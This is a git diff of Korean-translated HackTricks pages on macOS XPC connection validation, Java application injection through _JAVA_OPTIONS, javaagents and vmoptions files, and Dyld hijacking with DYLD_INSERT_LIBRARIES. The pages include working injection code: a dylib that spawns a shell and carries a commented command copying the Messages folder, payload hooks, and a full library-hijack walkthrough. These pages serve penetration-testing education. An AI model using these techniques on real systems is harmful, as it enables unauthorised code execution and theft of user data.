* **`processIdentifier`** 메서드를 사용하는 경우 취약할 수 있습니다.
|
* **`processIdentifier`** 메서드가 사용되면 취약할 수 있습니다.
|
||||||
* **`xpc_dictionary_get_audit_token`**은 **`xpc_connection_get_audit_token`** 대신 사용해야 합니다. 후자는 특정 상황에서도 [취약할 수 있습니다](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
* **`xpc_dictionary_get_audit_token`**을 **`xpc_connection_get_audit_token`** 대신 사용해야 하며, 후자는 특정 상황에서 [취약할 수 있습니다](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||||
|
|
||||||
### 통신 공격
|
### Communication Attacks
|
||||||
|
|
||||||
PID 재사용 공격에 대한 자세한 정보는 다음을 확인하세요:
|
PID 재사용 공격에 대한 자세한 내용은 다음을 확인하십시오:
|
||||||
|
|
||||||
{% content-ref url="macos-pid-reuse.md" %}
|
{% content-ref url="macos-pid-reuse.md" %}
|
||||||
[macos-pid-reuse.md](macos-pid-reuse.md)
|
[macos-pid-reuse.md](macos-pid-reuse.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
**`xpc_connection_get_audit_token`** 공격에 대한 자세한 정보는 다음을 확인하세요:
|
**`xpc_connection_get_audit_token`** 공격에 대한 자세한 내용은 다음을 확인하십시오:
|
||||||
|
|
||||||
{% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %}
|
{% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %}
|
||||||
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
|
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Trustcache - 다운그레이드 공격 방지
|
### Trustcache - Downgrade Attacks Prevention
|
||||||
|
|
||||||
Trustcache는 Apple Silicon 기기에 도입된 방어적인 방법으로, Apple 바이너리의 CDHSAH 데이터베이스를 저장하여 수정되지 않은 바이너리만 실행할 수 있도록 합니다. 이는 다운그레이드 버전의 실행을 방지합니다.
|
Trustcache는 Apple Silicon 기계에서 도입된 방어 방법으로, Apple 바이너리의 CDHSAH 데이터베이스를 저장하여 허용된 비수정 바이너리만 실행될 수 있도록 합니다. 이는 다운그레이드 버전의 실행을 방지합니다.
|
||||||
|
|
||||||
### 코드 예제
|
### Code Examples
|
||||||
|
|
||||||
서버는 이 **검증**을 **`shouldAcceptNewConnection`** 함수에서 구현할 것입니다.
|
서버는 **`shouldAcceptNewConnection`**이라는 함수에서 이 **검증**을 구현합니다.
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -65,9 +66,9 @@ return YES;
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
NSXPCConnection 객체에는 **`auditToken`**이라는 **비공개** 속성(사용해야하지만 변경될 수 있는 속성)과 **`processIdentifier`**라는 **공개** 속성(사용해서는 안되는 속성)이 있습니다.
|
객체 NSXPCConnection은 **private** 속성 **`auditToken`** (사용해야 하지만 변경될 수 있는 것)과 **public** 속성 **`processIdentifier`** (사용해서는 안 되는 것)을 가지고 있습니다.
|
||||||
|
|
||||||
연결 프로세스는 다음과 같이 확인할 수 있습니다:
|
연결된 프로세스는 다음과 같은 방법으로 확인할 수 있습니다:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -91,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString)
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
개발자가 클라이언트의 버전을 확인하지 않으려면, 적어도 클라이언트가 프로세스 인젝션에 취약하지 않은지 확인할 수 있습니다:
|
개발자가 클라이언트의 버전을 확인하고 싶지 않다면, 적어도 클라이언트가 프로세스 주입에 취약하지 않은지 확인할 수 있습니다:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -110,16 +111,17 @@ return Yes; // Accept connection
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,22 +1,23 @@
|
||||||
# macOS Java 애플리케이션 주입
|
# macOS Java Applications Injection
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 열거
|
## Enumeration
|
||||||
|
|
||||||
시스템에 설치된 Java 애플리케이션을 찾으세요. **Info.plist**에 있는 Java 앱은 **`java.`** 문자열을 포함하는 일부 Java 매개변수를 포함하고 있음을 알 수 있습니다. 따라서 해당 문자열을 검색할 수 있습니다:
|
시스템에 설치된 Java 애플리케이션을 찾습니다. **Info.plist**에 있는 Java 앱은 **`java.`** 문자열을 포함하는 일부 Java 매개변수를 포함하고 있으므로, 이를 검색할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
# Search only in /Applications folder
|
# Search only in /Applications folder
|
||||||
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||||||
|
@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||||||
```
|
```
|
||||||
## \_JAVA\_OPTIONS
|
## \_JAVA\_OPTIONS
|
||||||
|
|
||||||
환경 변수 **`_JAVA_OPTIONS`**은 java로 컴파일된 앱의 실행에 임의의 java 매개변수를 주입하는 데 사용될 수 있습니다:
|
환경 변수 **`_JAVA_OPTIONS`**는 자바 컴파일된 앱의 실행에 임의의 자바 매개변수를 주입하는 데 사용할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
# Write your payload in a script called /tmp/payload.sh
|
# Write your payload in a script called /tmp/payload.sh
|
||||||
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
|
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
|
||||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||||
```
|
```
|
||||||
새로운 프로세스로 실행하고 현재 터미널의 자식으로 실행하지 않으려면 다음을 사용할 수 있습니다:
|
새 프로세스로 실행하고 현재 터미널의 자식으로 실행하지 않으려면 다음을 사용할 수 있습니다:
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
|
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
|
||||||
|
@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
그러나, 실행된 앱에서 오류를 발생시킬 것이므로, 더 은밀한 방법은 자바 에이전트를 생성하고 다음을 사용하는 것입니다:
|
그러나, 이는 실행된 앱에서 오류를 발생시킬 것이며, 더 은밀한 방법은 자바 에이전트를 생성하고 다음을 사용하는 것입니다:
|
||||||
```bash
|
```bash
|
||||||
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
||||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||||
|
@ -95,7 +96,7 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
||||||
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
애플리케이션과 다른 Java 버전으로 에이전트를 생성하면, 에이전트와 애플리케이션의 실행이 모두 중단될 수 있습니다.
|
에이전트를 **다른 Java 버전**으로 생성하면 에이전트와 애플리케이션 모두의 실행이 중단될 수 있습니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
에이전트는 다음과 같을 수 있습니다:
|
에이전트는 다음과 같을 수 있습니다:
|
||||||
|
@ -119,19 +120,19 @@ err.printStackTrace();
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
에이전트를 컴파일하려면 다음을 실행하세요:
|
에이전트를 컴파일하려면 다음을 실행하십시오:
|
||||||
```bash
|
```bash
|
||||||
javac Agent.java # Create Agent.class
|
javac Agent.java # Create Agent.class
|
||||||
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
|
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
|
||||||
```
|
```
|
||||||
`manifest.txt` 파일을 사용하여:
|
`manifest.txt`와 함께:
|
||||||
```
|
```
|
||||||
Premain-Class: Agent
|
Premain-Class: Agent
|
||||||
Agent-Class: Agent
|
Agent-Class: Agent
|
||||||
Can-Redefine-Classes: true
|
Can-Redefine-Classes: true
|
||||||
Can-Retransform-Classes: true
|
Can-Retransform-Classes: true
|
||||||
```
|
```
|
||||||
그런 다음 환경 변수를 내보내고 다음과 같이 Java 애플리케이션을 실행합니다:
|
그리고 환경 변수를 내보낸 후 다음과 같이 자바 애플리케이션을 실행합니다:
|
||||||
```bash
|
```bash
|
||||||
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
||||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||||
|
@ -142,12 +143,12 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession
|
||||||
```
|
```
|
||||||
## vmoptions 파일
|
## vmoptions 파일
|
||||||
|
|
||||||
이 파일은 Java가 실행될 때 **Java 매개변수**의 지정을 지원합니다. 이전의 몇 가지 기법을 사용하여 Java 매개변수를 변경하고 **프로세스가 임의의 명령을 실행하도록** 할 수 있습니다.\
|
이 파일은 Java가 실행될 때 **Java 매개변수**의 지정을 지원합니다. 이전의 몇 가지 트릭을 사용하여 java 매개변수를 변경하고 **프로세스가 임의의 명령을 실행하도록 만들 수 있습니다**.\
|
||||||
또한, 이 파일은 `include` 디렉토리를 통해 다른 파일을 **포함**할 수도 있으므로 포함된 파일도 변경할 수 있습니다.
|
게다가, 이 파일은 `include` 디렉토리로 다른 파일을 **포함할 수** 있으므로 포함된 파일을 변경할 수도 있습니다.
|
||||||
|
|
||||||
더욱이, 일부 Java 앱은 **`vmoptions` 파일을 여러 개** 로드할 수 있습니다.
|
더욱이, 일부 Java 앱은 **하나 이상의 `vmoptions`** 파일을 **로드**합니다.
|
||||||
|
|
||||||
Android Studio와 같은 일부 애플리케이션은 이러한 파일을 찾는 위치를 **출력**으로 알려줍니다. 예를 들어:
|
Android Studio와 같은 일부 애플리케이션은 이러한 파일을 찾고 있는 **출력 위치를** 나타냅니다, 예:
|
||||||
```bash
|
```bash
|
||||||
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
|
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
|
||||||
|
|
||||||
|
@ -158,7 +159,7 @@ Android Studio와 같은 일부 애플리케이션은 이러한 파일을 찾는
|
||||||
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||||
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||||
```
|
```
|
||||||
그렇지 않다면 쉽게 다음과 같이 확인할 수 있습니다:
|
그렇지 않다면 다음과 같이 쉽게 확인할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
# Monitor
|
# Monitor
|
||||||
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
||||||
|
@ -166,18 +167,19 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
||||||
# Launch the Java app
|
# Launch the Java app
|
||||||
/Applications/Android\ Studio.app/Contents/MacOS/studio
|
/Applications/Android\ Studio.app/Contents/MacOS/studio
|
||||||
```
|
```
|
||||||
흥미로운 점은 이 예시에서 Android Studio가 **`/Applications/Android Studio.app.vmoptions`** 파일을 로드하려고 한다는 것입니다. 이 파일은 **`admin` 그룹의 모든 사용자가 쓰기 권한을 가지고 있는 곳입니다.**
|
Note how interesting is that Android Studio in this example is trying to load the file **`/Applications/Android Studio.app.vmoptions`**, a place where any user from the **`admin` group has write access.**
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 기교를 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,22 +1,23 @@
|
||||||
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**telegram 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## DYLD\_INSERT\_LIBRARIES 기본 예제
|
## DYLD\_INSERT\_LIBRARIES 기본 예제
|
||||||
|
|
||||||
**쉘을 실행하기 위해 주입할 라이브러리**:
|
**쉘을 실행하기 위해 주입할 라이브러리:**
|
||||||
```c
|
```c
|
||||||
// gcc -dynamiclib -o inject.dylib inject.c
|
// gcc -dynamiclib -o inject.dylib inject.c
|
||||||
|
|
||||||
|
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
|
||||||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
공격할 이진 파일:
|
공격할 바이너리:
|
||||||
```c
|
```c
|
||||||
// gcc hello.c -o hello
|
// gcc hello.c -o hello
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -45,13 +46,13 @@ printf("Hello, World!\n");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
삽입 (Injection):
|
주입:
|
||||||
```bash
|
```bash
|
||||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||||
```
|
```
|
||||||
## Dyld Hijacking 예제
|
## Dyld Hijacking Example
|
||||||
|
|
||||||
대상 취약한 이진 파일은 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`입니다.
|
타겟 취약 바이너리는 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`입니다.
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="entitlements" %}
|
{% tab title="entitlements" %}
|
||||||
|
@ -87,17 +88,16 @@ current version 1.0.0
|
||||||
compatibility version 1.0.0
|
compatibility version 1.0.0
|
||||||
# Check the versions
|
# Check the versions
|
||||||
```
|
```
|
||||||
{% code %}
|
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
이전 정보를 통해 우리는 **로드된 라이브러리의 서명을 확인하지 않고** 다음 경로에서 라이브러리를 로드하려고 시도한다는 것을 알 수 있습니다:
|
이전 정보를 통해 우리는 **로드된 라이브러리의 서명을 확인하지 않고** 있으며 **다음에서 라이브러리를 로드하려고 시도하고 있다는 것을 알 수 있습니다**:
|
||||||
|
|
||||||
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||||
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||||
|
|
||||||
그러나 첫 번째 경로는 존재하지 않습니다:
|
하지만 첫 번째는 존재하지 않습니다:
|
||||||
```bash
|
```bash
|
||||||
pwd
|
pwd
|
||||||
/Applications/VulnDyld.app
|
/Applications/VulnDyld.app
|
||||||
|
@ -105,7 +105,7 @@ pwd
|
||||||
find ./ -name lib.dylib
|
find ./ -name lib.dylib
|
||||||
./Contents/Resources/lib2/lib.dylib
|
./Contents/Resources/lib2/lib.dylib
|
||||||
```
|
```
|
||||||
그래, 그것을 탈취할 수 있어! 합법적인 라이브러리와 동일한 기능을 내보내며 임의의 코드를 실행하는 라이브러리를 생성하세요. 그리고 예상 버전과 함께 컴파일하는 것을 기억하세요:
|
그래서, 그것을 탈취하는 것이 가능합니다! **임의의 코드를 실행하고 정품 라이브러리와 동일한 기능을 재수출하는** 라이브러리를 만드세요. 그리고 예상되는 버전으로 컴파일하는 것을 잊지 마세요:
|
||||||
|
|
||||||
{% code title="lib.m" %}
|
{% code title="lib.m" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -118,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
컴파일하십시오:
|
컴파일하세요:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -127,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
라이브러리에서 생성된 재내보내기 경로는 로더에 상대적이므로, 내보낼 라이브러리에 대한 절대 경로로 변경해보겠습니다:
|
라이브러리에서 생성된 재수출 경로는 로더에 상대적입니다. 이를 라이브러리에 대한 절대 경로로 변경합시다:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -148,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
마지막으로 **해킹된 위치**에 복사하십시오:
|
마지막으로 **탈취된 위치**에 복사합니다:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -156,7 +156,7 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
바이너리를 **실행**하고 **라이브러리가 로드되었는지** 확인하십시오:
|
그리고 **바이너리**를 실행하고 **라이브러리가 로드되었는지** 확인합니다:
|
||||||
|
|
||||||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||||
|
@ -164,25 +164,26 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||||||
</code></pre>
|
</code></pre>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
텔레그램의 카메라 권한을 악용하기 위해 이 취약점을 악용하는 방법에 대한 좋은 설명은 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)에서 찾을 수 있습니다.
|
